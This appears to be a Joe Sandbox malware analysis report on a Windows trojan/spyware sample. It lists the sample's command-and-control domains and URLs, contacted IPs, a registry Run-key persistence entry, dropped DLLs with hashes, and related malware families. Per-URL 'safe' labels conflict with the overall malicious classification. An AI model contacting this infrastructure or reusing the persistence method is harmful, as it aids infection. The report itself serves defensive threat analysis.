http://web.ad87h92j.com/4/long.bmp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pc.game.iqiyi.com/flash	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://pc.game.iqiyi.com	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmpw	3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/SF;	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	lte7inN.exe, 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.htmlPostScript	3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
https://pc.game.iqiyi.com/protocol	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://www.baidu.com/pc.game.iqiyi.com/togamenx	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?.current_version=&sign_key=fb99b749dc3cd844fb	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/http-cookies.html	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/game	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/homehttp://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/flashOPEN/.lnkpca	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/Datw	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettask	lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/login.htmlEDITMozilla/5.0	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/index?sdkver=10.12.0.845	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://msg.qy.net/v5/gamecenter/pc?	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/text.bmpC:	3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/index?sdkver=10.12.0.845node.dllatlTraceGeneralatlTraceQIatlTraceCOMatlTrac	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/	lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmpwi	3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.html	lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskL	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskR	lte7inN.exe, 00000010.00000002.3136764619.000000000150F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/Timezone	3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/t.bmpmp	3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astro.com/swisseph.	libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskI	lte7inN.exe, 00000010.00000002.3136764619.000000000149A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/Pro	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	lte7inN.exe, 00000010.00000002.3135955521.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000011.00000002.2672087314.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000012.00000002.2745598248.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettaskF#	lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/amF	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hook.testnode.dll1rGYz	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettask%#	lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/homeOPENhttp://pc.game.iqiyi.com/flashpc.game.	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/login.html	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/	lte7inN.exe, 00000010.00000002.3135955521.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000011.00000002.2672087314.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000012.00000002.2745598248.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://miniblink.netCookiefile:///http://www.github.com/weolar/miniblink49testinjectcalljavascript:U	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/1	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htm	lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
http://www.baidu.com/	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gnu.org	libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown
http://pc.game.iqiyi.com/home	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/RON	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/long.bmpwininetShell32msvcrt	3Kel6xErOk.exe, 00000005.00000002.2573930129.000000000019D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/TDEe	lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://localhost:12222..	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://hook.test	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/receivejson	lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pc.game.iqiyi.comconfig.json/systemsetting/channelpostdata_urlsystemsettinghome_urlprotocol_	3Kel6xErOk.exe	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htmMain	3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.72.137	mvc.withoutyou5.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	web.ad87h92j.com	European Union	13335	CLOUDFLARENETUS	false
172.67.222.6	caces.goldenh0ur.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511255
Start date and time:	2024-09-14 18:41:50 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3Kel6xErOk.exe renamed because original name is a hash value
Original Sample Name:	4f432ba1da38c64c9298fb2c2a0271c06dc333fb66e7f2b6deebf1ec6782c6b9.exe
Detection:	MAL
Classification:	mal100.rans.bank.troj.spyw.evad.winEXE@6/8@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 70 Number of non-executed functions: 255
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3Kel6xErOk.exe

Simulations

Behavior and APIs

Time	Type	Description
20:07:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\pR4cysw\lte7inN.exe
20:07:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\pR4cysw\lte7inN.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	web.ad87h92j.com/4/t.bmp
	http://www.pelisplus3.city/pl	Get hash	malicious	Phisher	Browse	www.pelisplus3.city/pl
	http://ea721twc.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	ea721twc.pages.dev/favicon.ico
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/kslt/
	Comprobante.PDF867564575869708776565434576897.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sweetwhore/five/fre.php
	r9856_7.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/x5bi/
	DistinctiveCarpets#92161.pdf	Get hash	malicious	HTMLPhisher	Browse	uyvi.jjscommunitysupport.online/favicon.ico
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse	vlha.shop/LP341/index.php
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse	d4hk.shop/DL341/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
web.ad87h92j.com	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	188.114.96.3
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	188.114.97.3
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
mvc.withoutyou5.com	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse	104.26.7.127
mvc.withoutyou5.com	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse	104.26.6.127

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33
CLOUDFLARENETUS	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse	188.114.96.3
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse	172.67.203.195
	https://nnwdryn4me2.typeform.com/to/vzxAdnuI?utm_source=www.thedeepview.co&utm_medium=newsletter&utm_campaign=u-s-hospital-teams-up-with-suki-for-an-ai-assistant&_bhlid=899a446fb8590c3f4dab42c864907d7822828cad	Get hash	malicious	Unknown	Browse	104.16.117.116
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	Loader.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	104.21.85.189
	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.136.135
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.136.135
	https://os50-card.ru/50	Get hash	malicious	Unknown	Browse	104.17.25.14
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	104.21.38.33

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	sntmr.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.72.137 172.67.222.6
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	172.67.72.137 172.67.222.6
	vfdjg.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.72.137 172.67.222.6
	66e40b2e8a52e_lfsdj.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 172.67.222.6
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 172.67.222.6
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 172.67.222.6
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 172.67.222.6
	GmsiIZXruf.hos.dll	Get hash	malicious	Unknown	Browse	172.67.72.137 172.67.222.6
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 172.67.222.6
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.72.137 172.67.222.6

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\pR4cysw\MSVCP140.dll	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	https://downloads.linktek.com/LR/SetupLinkReporter.zip	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll	3XRUFJRb3K.dll	Get hash	malicious	Unknown	Browse
	N6xnw0iEGs.exe	Get hash	malicious	GhostRat	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse
	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse
	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse
	nOyswc9ly2.dll	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\pR4cysw\MSVCP140.dll

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	436600
Entropy (8bit):	6.647460578716755
Encrypted:	false
SSDEEP:	12288:mgU0BGzePo6+J+4P0xYv7IQgihUgiW6QR7t5s03Ooc8dHkC2esMoWKl:I01Po6+J+dxYv7IQgR03Ooc8dHkC2e50
MD5:	C092885EA11BD80D35CB55C7D488F1E2
SHA1:	BFE2F5141AF49724A54C838B9A9CB6E54C4A6AA5
SHA-256:	885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
SHA-512:	8A600CCF97A6D5201BB791A43F16CD4CCD19A8E9DECAE79B8BA3E5200B6E8936649626112B1C6BDB1465AB8AFB395803A68286C76B817245C6077D0536D03344
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3XRUFJRb3K.dll, Detection: malicious, Browse Filename: N6xnw0iEGs.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: pXm5oVO3Go.exe, Detection: malicious, Browse Filename: Rudvfa0Z17.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.. 4.os4.os4.os..nr6.os=..s".os4.ns..osf.nr7.osf.kr?.osf.lr<.osf.jr..osf.or5.osf.s5.osf.mr5.osRich4.os........................PE..L...J(.`.........."!.........~...............0.......................................r....@A.........................T......<c..........................x#.......6...W..8............................W..@............`..8............................text...b........................... ..`.data...L(...0......................@....idata.......`.......2..............@..@.rsrc................J..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	79792
Entropy (8bit):	6.778797048504205
Encrypted:	false
SSDEEP:	1536:hExZIDobDaHrrAPsCbU4qzBHXpHolecbGpJGBNzZz3:yZPDaHrrobUHzDQecbGbGN
MD5:	9D5A742F221C4929A178BAF2B93FC7FB
SHA1:	928C9E0E1C18EC474C2F450CA00A154E44AC547A
SHA-256:	F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898
SHA-512:	F4614962C67BB41B8A2FB17E3112745F4BA012BBF382C1CC7DEACD6C8525A53D75890A2EB46F0DA61BFA054DC52505B09A29291D5FA1C25C6201A66B9DC4B547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3XRUFJRb3K.dll, Detection: malicious, Browse Filename: N6xnw0iEGs.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse Filename: pXm5oVO3Go.exe, Detection: malicious, Browse Filename: Rudvfa0Z17.exe, Detection: malicious, Browse Filename: nOyswc9ly2.dll, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........M...M...M.....O...D...F...M...d.../..Y.../..X.../..Q.../..L.../.u.L.../..L...RichM...........PE..L...19............"!.........................................................P............@A........................P........ .......0...................'...@......x$..T............................#..@............ ...............................text...d........................... ..`.data...............................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\pR4cysw\libcef.dll

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	524288000
Entropy (8bit):	0.03653807951946192
Encrypted:	false
SSDEEP:
MD5:	D951A61C56A005A8415DC86758E08557
SHA1:	A94BE1A3E166FCCADEC300885B0B923735DA7596
SHA-256:	DCD188D383CB6347BFED0F4E6209ABD579526E729B003C31C3A8B117C1475AF6
SHA-512:	D63B9887F945F6ABDAEA2FE297507AB9E1A84B10864C8AE454E8E3714C77C19131614FDD6DEAB85CA9950A6227D5559FF1002869FDCE63C9DFDDA7998BB22188
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..........4.......!..........)......9.......c.........1.....0.....7....Rich...........PE..L...5..f...........!.........0......$].......................................0............@.........................pI......t6.......0..X....................@..l...................................X(..@............................................text...!........................... ..`.rdata..Z...........................@..@.data.......p.......T..............@....rsrc...X....0......................@..@.reloc..V....@......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\pR4cysw\lte7inN.exe

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6453568
Entropy (8bit):	7.944493660771585
Encrypted:	false
SSDEEP:	196608:fW1Hje3HvntQwZSPyl7N6nds1HhmwcOaXr:myvtrxBL1QSaXr
MD5:	C8E8EEAF5464AF1A188B3DC12C890813
SHA1:	2DF041366B9DE8A2B982205B15F7264145E81644
SHA-256:	E528455778D952ACFC5B330B378F2C53CC92E55CFEAB1C1E1DBB52E01D626BB4
SHA-512:	8119BD5A7FE790F1EBF1B2C5411264C32A193718851746C26183B8A48293D61E8F9F3EEB97CC851A419B5B41038BC63BFFD17E99907AD4F8CDEE63F7151DBE46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...............'..?.................0?...@..........................@.......kc.....................................`........0..u............Pb.@)..................................d.}.........@.............{..............................text...R.?......................... ..`.rdata.......0?.....................@..@.data...T.....H.....................@....idata...Q....J.....................@..@.tls......... K.....................@....00cfg.......0K.....................@..@.ubx0...z....@K.....................`..`.ubx1...`A_...y..B_.................`..`.rsrc...u....0.......J_.............@..@........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\pR4cysw\t3d.tmp

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	6443425
Entropy (8bit):	7.999970882342927
Encrypted:	true
SSDEEP:	98304:7c5bWQVHWXS1k+CxcfLg3LFvsI0i/2tEn+ynekhscRZ+Q3FqFoJSnerSgkogC6qz:7c5FNB7WRjsUZn5h/+e7Vkokqg8iEHCu
MD5:	FB936CD4F33E5AE9AB88D7AE21B8D654
SHA1:	157DF7F219BB272F2DC56B3AA0BD5CE70E4902DA
SHA-256:	3C55279D70BBAAA18DCA653DD5922BEAE2F720B8285D6A195A21961DE005BCF2
SHA-512:	F72254B4CE87CAAFA12DD2DDEEC7B77DABEE2FC052E3CA102E55C5ABCC7F99FD4EE6A8544F5942D2A75EDF66C406CB20A0978E9E378055B79EFFB820094AADC1
Malicious:	false
